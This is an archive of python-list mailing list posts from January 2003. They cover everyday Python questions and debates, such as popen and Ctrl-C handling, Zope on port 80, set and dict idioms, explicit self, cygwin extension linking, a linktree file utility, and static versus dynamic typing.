In article <qwOR9.108503$6H6.3599736 at twister.austin.rr.com>, Sandeep Gupta wrote:
> I am running on Linux, but the script I'm writing will also be using on
> Win2k.
> 
> What I meant was I start the command and programatically wait for it to
> finish.  I wait for the command to finish by doing an f.read() on the stdout
> returned from popen*().  While I am waiting for it to finish, if the user
> types ctrl-c, the command receives the interrupt.
> 
> But if my command is "cvs diff", cvs receives the ctrl-c.
> 
> Any other suggestions?

If your cvs is doing remote stuff it's most propably ssh/rsh that is
trying to grab terminal directly, ssh has some flags that
might help.

This might also help, unless it also enables tty signal processing

import termios,TERMIOS,copy,sys
oat=termios.tcgetattr(sys.stdin.fileno())
at=termios.tcgetattr(sys.stdin.fileno())
at[3]=at[3] & ~TERMIOS.ISIG
termios.tcsetattr(sys.stdin.fileno(),TERMIOS.TCSANOW,at)
(popen here)
termios.tcsetattr(sys.stdin.fileno(),TERMIOS.TCSANOW,oat)

This most propably does not work on windows

-- 
Jarkko Torppa



From peter at engcorp.com  Wed Jan 15 00:34:46 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Jan 2003 00:34:46 -0500
Subject: Zope on Port 80
References: <mailman.1042583860.2529.python-list@python.org>
Message-ID: <3E24F2F6.18959BA3@engcorp.com>

Andrew Veitch wrote:
> 
> > Is there any reason _not_ to run Zope on port 80 of, say,
> > mymachine.foo.com?
> 
> On Unix you have to be root to open port 80 and it's better if you can run
> Zope as a user other than root in case of security problems.
> 
> It's not that good an idea to expose Zope to the outside world anyway, I'd
> suggest running Apache on port 80 and re-direct to Zope on localhost:8080

Is this comment based on fear of the unknown, or are there specific
security issues which concern you about exposing Zope to the outside
world.

I ask because I have several Zope servers exposed to the outside world,
and I don't consider them very insecure.  I'd be grateful to learn how
I'm being careless, if I am.

-Peter



From cnetzer at mail.arc.nasa.gov  Fri Jan 17 05:05:47 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Fri, 17 Jan 2003 02:05:47 -0800
Subject: iterating in reverse
In-Reply-To: <f57664b9.0301170054.1c5fbe38@posting.google.com>
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042765110.10945.python-list@python.org> <f57664b9.0301170054.1c5fbe38@posting.google.com>
Message-ID: <200301171005.CAA08076@mail.arc.nasa.gov>

On Friday 17 January 2003 00:54, Jonathan P. wrote:

> The main thing that bugs me is that I have to choose between
> storing 2 copies of the same data (one reversed, the other not)
> or I have to do a couple of reverse()s each time (to undo the
> transformation) I need to access the list in reverse.  The former
> is wasteful of space, the latter of performance.

Although, as Paul Rubin pointed out, even though you may iterate in one 
direction at a time, you can access in either order.  Rather than 
iterating directly over the contents, you iterate over a list of 
indices (using range), and you can use the indices to count from the 
from or the back.

So, that may really be the best option in these circumstances.


~~~~~~~~~~~~~
seq = "the quick brown fox jumped over the lazy dog"
for i in xrange( len( seq ) ):
   forward_iter = seq[i]
   backward_iter = seq[-(i + 1)]
   pass # do whatever you need
~~~~~~~~~~~~~

In this case, you don't copy or generate any new lists at all, so it 
should be quite quick.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From adalke at mindspring.com  Sat Jan  4 14:26:18 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 04 Jan 2003 12:26:18 -0700
Subject: sorted unique elements from a list; using 2.3 features
Message-ID: <av7cuu$cu2$1@slb0.atl.mindspring.net>

I often need to get the subset of unique element from a list, in
sorted order.  For example, if I have
    [1, 4, 3, 4, 3, 1]
I want to get
    [1, 3, 4]

The usual way to do this is

# Let 'data' be a list or iterable object
# For example, data = [1, 4, 3, 4, 3, 1]
#          or, data = sys.stdin
d = {}
for x in data:
   d[x] = 1
subset = d.keys()
subset.sort()
# Use 'subset' as needed

Python 2.3 offers at least two new ways to do this.  The first is
with the new 'Set' class

# Let 'data' be a list or iterable object
import sets
subset = list(sets.Set(data))
subset.sort()
# Use 'subset' as needed

(The 'list()' is needed because that's the only way to get elements
out from a list.  It provides an __iter__ but no 'tolist()' method.)


The other is with the new 'fromkeys' class, which constructs
a dictionary from a list -- the elements of the list become the
keys and you can choose the value for the item, or just use the
default of None.  To show you what that means

 >>> dict.fromkeys([1,2,5,3,2,1], 0)
{1: 0, 2: 0, 3: 0, 5: 0}
 >>> dict.fromkeys([1,2,5,3,2,1])
{1: None, 2: None, 3: None, 5: None}
 >>>

So for the task at hand,

# Let 'data' be a list or iterable object
subset = dict.fromkeys(data).keys()
subset.sort()
# Use 'subset' as needed


For a real-life example, suppose you want to get unique lines
from the stdin input stream, sort them, and dump the results
to stdout.  Here's how to do it in Python 2.3

import sys
unique_lines = dict.fromkeys(sys.stdin).keys()
unique_lines.sort()
sys.stdout.writelines(unique_lines)

					Andrew
					dalke at dalkescientific.com




From aleax at aleax.it  Wed Jan 29 11:28:20 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 16:28:20 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <200301290028.h0T0SJjL023634@ratthing-b246.strakt.com> <mailman.1043804455.2703.python-list@python.org> <EMOZ9.99217$0v.2876590@news1.tin.it> <3E37BC7A.D89440F1@alcyone.com>
Message-ID: <EiTZ9.100679$0v.2909559@news1.tin.it>

Erik Max Francis wrote:
   ...
> I think your point is well-taken, but you're polarizing an argument far
> beyond what was originally stated.

I guess we'll have to agree to disagree.  What was originally
STATED was, e.g., a rhetorical question "Does the language
really matter?" (and as a rhetorical question, it implies an
answer of "not really").  What was MEANT by this, I'm not very
interested in guessing -- I'm no mindreader, nor am I training
to become one.

In my experience, assertions about "language not really
mattering" (whether phrased openly, or as rhetorical questions)
are most often used by people who try to defend lousy languages
(or ones who try to sell silver-bullet languages, methodologies,
and the like).


Alex




From max at alcyone.com  Wed Jan  8 08:01:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 05:01:02 -0800
Subject: Remote access to ssh server
References: <ti6o1v8t7nm8c4rp2lgb8hak5c9mqfv7ll@4ax.com>
Message-ID: <3E1C210E.23AC77AF@alcyone.com>

Yar3k wrote:

> Is there any possibility for Python script to remote connection with
> ssh server? I want to connect to remote server, execute some commands
> and logout. All should be done automaticly (like using ftp client
> which is the part of standard Python library).

There's a PySSH project; check Google.  Or you could always just drive a
ssh session with os.system, os.popen, or one of the popen2 variants.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great floodgates of the wonder-world swung open.
\__/ Herman Melville
    Polly Wanna Cracka? / http://www.pollywannacracka.com/
 The Internet resource for interracial relationships.



From nbodineau at club-internet.fr  Tue Jan 21 09:06:20 2003
From: nbodineau at club-internet.fr (Natacha)
Date: 21 Jan 2003 06:06:20 -0800
Subject: translate txt into HTML
Message-ID: <18f9f477.0301210606.45d9eaca@posting.google.com>

Hello, 
 
We have to create a program allowing to go to seek two textual files
bruts(.txt), but we would like to translate them into HTML.

we think that a parser should be used, but we do not know how to make!

thank you for your assistance  


Natacha
nbodineau at club-internet.fr



From DeadWisdom at wisefool.net  Sat Jan  4 03:25:06 2003
From: DeadWisdom at wisefool.net (DeadWisdom)
Date: 4 Jan 2003 00:25:06 -0800
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com>
Message-ID: <a1d2c9b4.0301040025.58f46c0e@posting.google.com>

Another thought: how OO is Python?  It allows me to create Objects, I
guess.  But do these objects really have methods?  I don't think so. 
Not with the way self acts now.  Right now, you are effectively,
creating functions and then calling them with the first argument
outside of the parenthesis, and to the left of the function, and a
dot.


Observe:
>>> class Object:
... 	name = "Bob"
... 	
>>> def foo(self, argument):
... 	print argument + self.name
... 	
>>> o = Object()
>>> foo(o, "Hello ")
Hello Bob


Which is pretty much the same as:
>>> class Object:
... 	name = "Bob"
... 	def foo(self, argument):
... 		print argument + self.name
... 		
>>> o = Object()
>>> o.foo("Hello ")
Hello Bob


I really don't see much of a difference between foo(o, "Hello ") and
o.foo("Hello ").  It must be easy from the point of view of the python
programming, all you bassically do is mangle it to "Object_foo(self,
blah)", and pre-process all "object.foo(" to "object_foo(".  Seems to
be.
So the only real difference is that Object.foo won't conflict with
OtherObject.foo.  But that doesn't seem like the basis of OO.
In the end OOP is all about the revolution, not of efficiency or
computational effectiveness, but of how we can understand the
structure of the world that we create, its objects, its functions. 
The idea of the explicit self retards this understanding, I believe,
and forces us to view python objects as code, not objects of a
pseudo-reality.

Or perhaps I ask for too much of this time, two-thousand and three.



From BgPorter at NOartlogicSPAM.com  Thu Jan 30 13:04:46 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Thu, 30 Jan 2003 13:04:46 -0500
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home> <6VCdnQ7z-uD5zaSjXTWcqw@comcast.com> <b1bnl2$181k$1@nntp6.u.washington.edu>
Message-ID: <CbacnQHt9pV09aSjXTWcqw@comcast.com>

"Donn Cave" <donn at u.washington.edu> wrote in message
news:b1bnl2$181k$1 at nntp6.u.washington.edu...
> Quoth "Brett g Porter" <BgPorter at NOartlogicSPAM.com>:
> ...
> | Of course, DNS-based blacklists shoot an elephant gun at the problem,
and
> | it's just too bad if you happen to innocently be using an ISP who gets
> | flagged as a source of spam. Every few months this happens to us, and
after
> | we see messages being bounced, we call the ISP, and they boot the
spammer,
> | and eventually the domain gets removed from the blacklist, but by that
time
> | we've lost a few days of business email.
> |
> | Blocking all mail (even legitimate) from South Korea  solves one
problem,
> | but creates another -- if my ISP happens to subscribe to this blacklist
> | service, there's absolutely no way for me to receive email from my
family
> | living there.
>
> Then you and your family urgently need to bring this problem to the
> Korean authorities.  Until they take responsibility for the problem,
> you will be hostages to one side or the other in an anarchic struggle
> between ISPs and spammers.

I don't buy that argument for a second. How is it different from (f'r
instance) my local telco deciding to reject all phone calls from the 818
area code because there are telemarketers operating from there? It's not the
responsibility of the legitimate customers to police the illegitimate
customers just because someone downstream has deputized themself as the spam
police.

Broad blacklists like this are nothing more than the geek equivalent of a
playground tantrum.






From BPettersen at NAREX.com  Tue Jan 14 00:10:35 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 13 Jan 2003 22:10:35 -0700
Subject: Self Undefined Error
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDFE7@admin56.narex.com>

> From: Brent Bailey [mailto:brb5548 at fsu.edu] 
> 
> I am new to python and I must not understand how to make correct

Welcome!

> declerations.  Does anyone have any idea why I get, 
> NameError: "self" is not
> defined, for the following code.
[...]

When posting a problem like this, it is very useful (i.e. easier for us
to figure out) if you also include the traceback that Python printed
when it encountered the error.

In this case, I'm guessing it's the line:

  if self.s in r:

which looks like it should be indented to be inside your attack method.

It also looks like you don't quite understand how to define classes, you
might want to re-read http://www.python.org/doc/current/tut/node11.html.
Ask more questions if any of that is unclear.

hth,
-- bjorn




From pedronis at bluewin.ch  Thu Jan  2 13:24:37 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Thu, 2 Jan 2003 19:24:37 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk> <3e146ab0_3@news.bluewin.ch> <oP_Q9.23115$Hl6.2417254@news010.worldonline.dk>
Message-ID: <3e14840e$1_3@news.bluewin.ch>

> Suit yourself.  I have no particular need to convince you; I used the
> example for illustration, not as evidence.
>

where's inspector in your reformulation?






From whisper at oz.net  Mon Jan 13 21:26:08 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 13 Jan 2003 18:26:08 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]MinimalPython project)
In-Reply-To: <3E23653D.7BB0F745@alcyone.com>
Message-ID: <GCEDKONBLEFPPADDJCOEKEILHFAA.whisper@oz.net>

How about Nohtyp? That's python held up to a mirror, which seems apropos.
Several other cool word plays come to mind too: "no type", "not hip",
(something mystical from a japanese play) "noh typ"

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Erik Max Francis
> Sent: Monday, January 13, 2003 17:18
> To: python-list at python.org
> Subject: Re: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
> [ann]MinimalPython project)
>
>
> Terry Hancock wrote:
>
> > Agreed, but on the other extreme, if it's too common, it will get
> > buried in
> > unrelated fluff.
>
> Indeed.  But Python itself already has that problem to some extent,
> since Monty Python is outrageously popular and the language was named
> after it.  (Fortunately, it's relatively easy to find
> Python-the-language with searches like "python language" or "python
> -monty" but the collision is already there and was there from the
> start.)
>
> > Haven't found another really good one, though. Hmm. The only Monty
> > Python
> > reference that comes to my mind is the Deja Vu sketch, ...
>
> I think one major Monty Python reference (the name of the language
> itself) is way more than enough for an entire community :-).
>
> --
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
> /  \ Describe a circle, stroke its back and it turns vicious.
> \__/ Ionesco
>     The laws list / http://www.alcyone.com/max/physics/laws/
>  Laws, rules, principles, effects, paradoxes, etc. in physics.
> --
> http://mail.python.org/mailman/listinfo/python-list





From LogiplexSoftware at earthlink.net  Tue Jan  7 19:50:38 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 07 Jan 2003 16:50:38 -0800
Subject: Is it really good?
In-Reply-To: <15899.26162.768476.492594@montanaro.dyndns.org>
References: <3E1A9A0F.6020306@envision.co.il>
	 <15899.26162.768476.492594@montanaro.dyndns.org>
Message-ID: <1041987038.1368.1687.camel@software1.logiplex.internal>

On Tue, 2003-01-07 at 15:43, Skip Montanaro wrote:
>     Nadav> Can someone explain why python does not raise NameError in the
>     Nadav> first test line b[e]low.
> 
>     >>> 2 == 3 is good
>     0     # ????????????????????????
> 
> Chained operations.  The above expression is effectively
> 
>     (2 == 3) and (3 is good)

This confuses me.  What is the order of operation for '==' and 'is'? 
Even if == is evaluated first, the equivalent would be:

(2 == 3) is good

if 'is' is higher then it becomes

2 == (3 is good)

How can (2 == 3) and (3 is good) be a possible equivalence?

> The first is false, so the second is never evaluated.

That was my first thought, but I can't see how it works.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From just at xs4all.nl  Mon Jan  6 16:11:59 2003
From: just at xs4all.nl (Just)
Date: Mon, 06 Jan 2003 22:11:59 +0100
Subject: sorted unique elements from a list; using 2.3 features
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05>
Message-ID: <just-7E53B7.22115906012003@news1.news.xs4all.nl>

In article <YhlS9.24314$NB4.6001 at FE05>,
 "Steve Holden" <sholden at holdenweb.com> wrote:

> Presumably (I don't have 2.3 to hand, so I may get shot down in flames)
> since a set has __iter__() one could also use
> 
>     subset = [x for x in sets.Set(data)]
> 
> to create the list you want to sort? I'm not convinced this is a win,
> though, so timings might be interesting.

list(iterable) is the canonical way to get a list from an iterable. 
Using a list comp doesn't look like a win to me at all... It definitely 
won't be a win speed-wise, as list() iterates in C and any list comp 
involves Python code.

Just



From mghiggins2003 at hotmail.com  Sat Jan 25 13:18:02 2003
From: mghiggins2003 at hotmail.com (Mark Higgins)
Date: Sat, 25 Jan 2003 18:18:02 GMT
Subject: newbie: python/C extensions in cygwin
Message-ID: <uxAY9.50693$Oj7.10509228@twister.nyc.rr.com>

Probably a dumb question, but googling around isn't turning up any 
obvious solutions: I've got a module I built in linux, and I'm trying to 
compile it under cygwin in window xp.

I changed .so's to .dll's, and other dlls are working fine.

However, when I try to compile my module:

g++ optmodule.cpp -g -shared -o optmodule.dll -lquant -L.

I'm getting the following link errors:

/cygdrive/c/DOCUME~1/Mark/LOCALS~1/Temp/ccH5wdB9.o(.text+0x52): In 
function `_Z12opt_BSOptionP7_objectS0_':
/src/Python/loki/optmodule.cpp:9: undefined reference to `_PyArg_Parse'
/cygdrive/c/DOCUME~1/Mark/LOCALS~1/Temp/ccH5wdB9.o(.text+0xaa):/src/Python/loki/optmodule.cpp:19: 
undefined reference to `_Py_BuildValue'
/cygdrive/c/DOCUME~1/Mark/LOCALS~1/Temp/ccH5wdB9.o(.text+0xf2): In 
function `initopt':
/src/Python/loki/optmodule.cpp:29: undefined reference to `_Py_InitModule4'
collect2: ld returned 1 exit status
make: *** [optmodule.dll] Error 1

Looks like I need to add something to my LD_LIBRARY_PATH... but I'm not 
sure what. Anyone care to enlighten my ignorance on this?

Thanks in advance!




From macquigg at cadence.com  Thu Jan  2 15:13:18 2003
From: macquigg at cadence.com (David MacQuigg)
Date: Thu, 2 Jan 2003 12:13:18 -0800
Subject: New file utility for shutil - linktree.py
Message-ID: <9A77785A255522459FDD2D24C94B27D1F083FA@exmbx02sj.cadence.com>

Greg,

Thanks for your feedback on this proposal.  We could modify copy_tree to add a 'link' argument, but that still is not what we need.  The resulting 'newtree' would contain a link for every file in the oldtree.  The 'linktree' function produces a 'newtree' with only the minimum links necessary to access all the old files.  i.e. it doesn't descend into directories where there are no new files, but simply relies on the link to the old parent directory to access all the old files on that branch.

This doesn't make much difference for small trees, where you could even use shutil.copytree(), but it makes a big difference on a typical commercial distribution tree.  For example, our latest 'IC50_sun4v' distribution tree takes 2741MB on disk, and has thousands of files, directories and links.  I just received a patch tree 'IC50_sun4v_patch014' with nothing but a few patch files and the directories leading down to where those files are located.  The patch tree (14MB) took only 2 minutes to download over my DSL line.

I then ran my Python command:
unix> linktree  IC50_sun4v  IC50_sun4v_patch014  >  logfile
and in three seconds I had a new working tree with the new patches in place, and links to the oldtree for everything else.  The new tree is not much larger than the 14MB patch.  I also have a 15KB logfile with a line for every link added.  A quick review of the logfile shows about 200 new links, and one file left as is.  This is more links than normal, because I deliberately chose a patch file deeply buried in a directory with hundreds of other files.

I tried running distutils.dir_util.copy_tree() for a comparison, but it chokes on open links in the oldtree (and we can expect a few of those in any distribution this size).  I'm sure that could be fixed, but the fundamental question is, do we want to enhance copy_tree() or provide a new linktree() function.  I really dislike the fact that we have so much confusion in these file functions, and they are scattered in so many places (os, os.path, shutil, distutils, ???).  I hesitate to add yet another function, but I think in this case 'linktree' is conceptually different than 'copytree', and  it will be less confusing for users to have a distinct function.

It will also be less confusing for anyone who has to work with the sourcecode of these functions.  Right now, copy_tree() is big, but still easy to follow.  Mucking it up with logic to scan the dst directory instead of the src, block options which don't apply, etc., will put it over the top.  (I could be missing something here, so anyone with ideas on how to merge these two functions, please speak up.)

I think one reason we don't have a simple set of universal file functions is that there are so many variations that no simple set will satisfy everyone.  Someone writes a copytree function using a horrible combination of 'tar' commands, and it doesn't work on other platforms, or even on the same platform if the path is set for a different version of tar.  Even with everything set up just right, the tar command doesn't copy the timestamps.  So we have endless variations on these commands, some built on 'cpio', some on 'pax', some others on 'gnutar'.

Python can change all this.  In fact we are 90% there with what is in the various modules I've looked at.  We just need to put the most usefule stuff in one place, add a few minor enhancements, and resist the temptation to do everything.  Python has the unique advantage that well-written scripts are easy to modify.  So if we leave out some option that a user needs, he can easily add it.

On 'linktree' for example, I have chosen to make links to links, rather than following those links and linking to their destinations.  Other legitimate choices include making the new link point to an equivalent place in the new tree.  Rather than provide options for all those possibilities, I think it is better to chose the one which I think will be most useful, and keep the script so simple that anyone can modify it to their liking.

I'm putting together a 'my_file_utils' module, which will import all the good stuff from the other modules, add 'linktree', and add some options to os.path.exists().  Eventually, I'll submit this as a patch, but I want to play with it a while, and make sure I'm happy with everything.  Is there a place to share this code before it is ready for submission as a patch?

Wish I had more time to work on this.  Now, I've got to get back to my "day job".

- Dave

> -----Original Message-----
> From: Greg Ward [mailto:gward at python.net]
> Sent: Monday, December 30, 2002 7:43 PM
> To: David MacQuigg
> Cc: python-list at python.org; Michael Hudson; Mark Lutz
> Subject: Re: New file utility for shutil - linktree.py
> 
> 
> On 30 December 2002, David MacQuigg said:
> > I need a 'linktree' utility to create a "mock hierarchy" for testing
> > patches to our mongo software distributions (~2GB, 10,000 files,
> > hundreds of dirs and symlinks, some of which are broken).  I found
> > some utilities in 'shutil.py', but no good.  'copytree' copies the
> > entire 2GB hierarchy!  The mock hierarchy should have just the new
> > patch files, and links for everything else.
> 
> Look closely at distutils.file_util.copy_file() and
> distutils.dir_util.copy_tree(); I think they're pretty close 
> to what you
> want.  The only obvious deficiency is that copy_tree() doesn't have a
> 'link' argument like copy_file() does.  That should be easy to add --
> submit a patch, do *not* assign it to me, argue for it on 
> distutils-sig,
> and hopefully someone will check it in in time for Python 2.3.  Or you
> can just steal the code...
> 
>         Greg
> -- 
> Greg Ward <gward at python.net>                         
> http://www.gerg.ca/
> Laziness, Impatience, Hubris.
> 




From adalke at mindspring.com  Fri Jan 10 12:36:46 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 10:36:46 -0700
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301092211.60ae0618@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com> <avj741$r77$1@slb3.atl.mindspring.net> <52719db8.0301092211.60ae0618@posting.google.com>
Message-ID: <avn0pk$cmq$1@slb9.atl.mindspring.net>

James Huang:
> Without static typing, what good does strongly-typedness do?

Because it's the objects that are typed.  Python variables are
all references to objects, so their type is (philosohpically)
"pointer to objects."

x = 200

creates an object of type 'int' and makes 'x' reference it.

y = "Hello"

creates an object of type 'str' and makes 'y' reference it.

x + y

gives an error because you can't do that with ints and strings.

> If you can change the class on the fly, does this break the
> strong-typedness? It's sort like (void*). JudoScript does the same
> thing, because an object, after all, is a map with a list of
> associated methods/functions; unless, of course, it is a Java object
> or ActiveX.

Since you can cast in Java, doesn't that break strong-typing?

The old object is strongly typed.  The new object is strongly
typed.  I've just changed the object type dynamically, that's all.


> Python seems to have quite a few dangerous features that lack in Java
> but do exist in C++. Java was born so many years after C++ and Python,
> so there must be some reasons, I am afraid. Otherwise, with good
> discipline, C++ can be just as good (except for garbage collection).

Man, you've bought the party line hook, line, and sinker.  (Umm,
idiomatic expression meaning that I've heard that before from others,
that it seems to come from Sun, and that I don't agree with it, nor
that I believe you've thought it through enough to judge it.)

Java doesn't have:
   Multiple inheritance
   User-defined definitions for how instances interact with operators
   Generics

The reason given for the first two is that "they are dangerous features
and shouldn't be used."  But MI has its uses, as does redefining how
operators work.  (I find the latter especially useful.)  And generics
in Python and C++ are very powerful.  Last I heard, they will be
added to Java "someday."  (Didn't bother to check if they exist
already.)

Oh, and Java does have that weird "we have integers and Integers".
(I've heard the expression 'boxed' vs. 'unboxed.')

Have you ever considered that the people who developed Java didn't
develop a better language than those which existed before?



> It's the statical typing that make strong-typedness a big help for
> boosting software quality -- the compiler! And that's what makes me
> wonder people implement big software without the help of compilers.

The Python party line (which I agree with) is that there are plenty
of other errors which can arise in programming.  Type checking is
one way to find those errors, but a good regression suite -- which
you need in any case -- catches nearly all the errors that type
checking would have caught, and catch more.  The downside of static
typing is that you have to enter in all those types, so the code is
more verbose and harder to read, understand, and maintain.

> To me, Python and Java are similar because they both support class and
> inheritance, and garbage collection. I wouldn't say C++ and Python are
> similar. Of course, variable declaration or not, blah blah ...

Hmm... OCaml supports classes

http://caml.inria.fr/ocaml/htmlman/manual005.html#ss:classes-and-objects

and inheritance

http://caml.inria.fr/ocaml/htmlman/manual005.html#ss:inheritance

but it's a functional language.  I think again (as others have asserted)
that your exprience in programming languages needs some broadening.


					Andrew
					dalke at dalkescientific.com




From lac at strakt.com  Sat Jan  4 17:38:08 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 04 Jan 2003 23:38:08 +0100
Subject: new years resolutions 
In-Reply-To: Message from Cliff Wells <clifford.wells@attbi.com> 
   of "04 Jan 2003 13:44:34 PST." <1041716674.6001.136.camel@x1-6-00-04-5a-64-c4-03> 
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <200301042118.h04LIojL016758@ratthing-b246.strakt.com> <1041716674.6001.136.camel@x1-6-00-04-5a-64-c4-03> 
Message-ID: <200301042238.h04Mc8jL017134@ratthing-b246.strakt.com>

<snip> 
> > 
> > > Anyway, my rather arbitrary division (perhaps mis-equated) was useful
> > > for making a particular point.
> > 
> > Yes, but my life would have run an awful lot easier if I had understood
> > when accepted to both Science and Engineering schools, that the fact
> > that I like building things was significant.  I suppose I was expected
> > to figure this one out for myself, but I didn't ...
> 
> I'm sorry I ruined your life <wink>.  I sometimes forget the power of
> the Internet.

Aha!  Now we know who's been borrowing the time machine!

Laura





From claird at lairds.com  Sun Jan  5 10:29:20 2003
From: claird at lairds.com (Cameron Laird)
Date: Sun, 05 Jan 2003 15:29:20 -0000
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com>
Message-ID: <v1gjqgijjcae83@corp.supernews.com>

In article <v1gdaicshqmr47 at corp.supernews.com>, I footnoted:
			.
			.
			.
>RFC 1945 specified HTTP 1.0 in 1996 (!), but it 
>states, "HTTP has been in use ... since 1990."
			.
			.
			.
... and documented as 0.9 since 1991 <URL: http://
www.w3.org/Protocols/HTTP/AsImplemented.html >.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From mlh at furu.idi.ntnu.no  Wed Jan 22 22:57:09 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 03:57:09 +0000 (UTC)
Subject: Is there really a default source encoding?
Message-ID: <slrnb2uq0l.d9h.mlh@furu.idi.ntnu.no>

The 2.3a1 "what's new" document, section 3 says that iso8859-1 is the
default source encoding, and that the encoding only affects Unicode
string literals... But if I put non-ASCII iso8859-1 letters in my
string literals without declaring an encoding, I get a deprecation
warning. (Declaring iso8859-1 works fine.) I see in the history of the
PEP that Latin-1 is not described as the default there -- but rather
the compiler's default encoding.

What's the correct behaviour, and where is it documented?

-- 
Magnus Lie Hetland
http://hetland.org



From peter at engcorp.com  Wed Jan 29 10:22:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:22:49 -0500
Subject: [Q] Customizable text editor based on Python?
References: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net> <3E372422.30E3AEAB@engcorp.com> <mailman.1043822811.23234.python-list@python.org>
Message-ID: <3E37F1C9.1F56F15@engcorp.com>

Timothy Grant wrote:
> 
> > Eric wrote:
> > I was wondering if people could point me to a text editor which can be
> > extended using Python, similar to how Emacs can be extended via LISP and
> > Alpha can be extended via TCL/TK.
> 
> Vim with Python compiled in. Glimmer (http://glimmer.sourceforge.net). 
> Scite

Uh, Scite?  Really?  How?

-Peter



From b.maryniuk at forbis.lt  Wed Jan  8 03:19:40 2003
From: b.maryniuk at forbis.lt (Bo M. Maryniuck)
Date: Wed, 8 Jan 2003 10:19:40 +0200
Subject: Python vs .Net (
In-Reply-To: <avgeqc$55m$1@reader01.singnet.com.sg>
References: <mailman.1041982992.14279.python-list@python.org> <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au> <avgeqc$55m$1@reader01.singnet.com.sg>
Message-ID: <200301081019.40312.b.maryniuk@forbis.lt>

On Wednesday 08 January 2003 08:00, Ng Pheng Siong wrote:
> Why is it odd?
> The turtle moves. The disc turns.

<wink type="acid">
	Because freedom USA is land of the free and the brave. All elsewhere are no
 	civilization, no Coca-Cola, no chewing gum. Mexico is smelly people with bug
 	hats, Australia / China -- land of the dragons and at the rest of the world
 	people just eat each other.
</wink>

-- 
Regards, Bogdan

We have enough youth, how about a fountain of SMART?





From morden at shadows.net  Fri Jan 17 20:38:16 2003
From: morden at shadows.net (morden)
Date: Fri, 17 Jan 2003 17:38:16 -0800
Subject: Struggling to return integer from a Tk Program
In-Reply-To: <b029ub$7lg$1@bob.news.rcn.net>
References: <b029ub$7lg$1@bob.news.rcn.net> <8c550b.s14.ln@beastie.ix.netcom.com>
Message-ID: <b0a4uf$r2s$1@bob.news.rcn.net>

Dennis Lee Bieber wrote:

> morden fed this fish to the penguins on Tuesday 14 January 2003 06:14
> pm:
>
>
>
> >         def underlinepos(self, str):
> >             comps = string.split( str, '~' )
> >             if(len(comps)<=1):
> >                 return -1, comps[0];
> >             if(len(comps)>2):
> >             # two tildas??????
> >                 noop=1
> >             #print "len is %d %d\r" % ( len(comps), len(comps[0]) )
> >             return len(comps[0]), comps[0]+comps[1]
> >
>
>         It took me forever to figure out the bugs in the above section...
>

Thank you. It looks cleaner now that I implemented your suggestions.
You're in credits now along with Peter. Let me know if you don't want
to appear in comments for a newbie code :-)




